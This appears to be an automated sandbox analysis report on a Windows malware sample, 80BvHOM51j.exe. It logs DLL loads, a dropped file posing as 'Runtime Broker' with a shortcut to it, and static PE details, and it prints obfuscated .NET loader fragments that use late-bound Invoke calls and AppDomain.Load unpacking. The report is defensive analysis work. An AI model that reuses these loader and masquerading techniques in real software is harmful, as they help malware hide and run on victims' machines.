Source: C:\Users\Public\Runtime Broker	Section loaded: apphelp.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: version.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: uxtheme.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: sspicli.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: cryptsp.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: rsaenh.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: cryptbase.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Runtime Broker.lnk.2.dr

LNK file: ..\..\..\..\..\..\..\..\Public\Runtime Broker

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 80BvHOM51j.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 80BvHOM51j.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 80BvHOM51j.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 80BvHOM51j.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: 80BvHOM51j.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 80BvHOM51j.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 80BvHOM51j.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 80BvHOM51j.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 80BvHOM51j.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{MvsynE2XwtVDEliLiQwo3c.TVBYUTCFMMOmxgnOyqmBv5,MvsynE2XwtVDEliLiQwo3c.eF8iYh2vx0ySqP3e4Rz4GR,MvsynE2XwtVDEliLiQwo3c.UXu7gqD7EluNDgbta7nqUQ,MvsynE2XwtVDEliLiQwo3c.QdfabbDTQZP0MO21yQpgep,v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.qR7AlO8hcwXAL7sginxHouPIVF4Mq8yppIeC97TU()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{KqmPyQVpdHN4TGPIlL9Khy[2],v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.yAb1ZznffDhKXG0cLfTx0kk2JD3CQFAlZva5NIEv(Convert.FromBase64String(KqmPyQVpdHN4TGPIlL9Khy[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { KqmPyQVpdHN4TGPIlL9Khy[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
Source: coonfart.exe.0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: nJ7ntGzX47CKonow5A0vgp System.AppDomain.Load(byte[])
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	.Net Code: f0L1ZQ6yGxVajY0UWNFGbp System.AppDomain.Load(byte[])
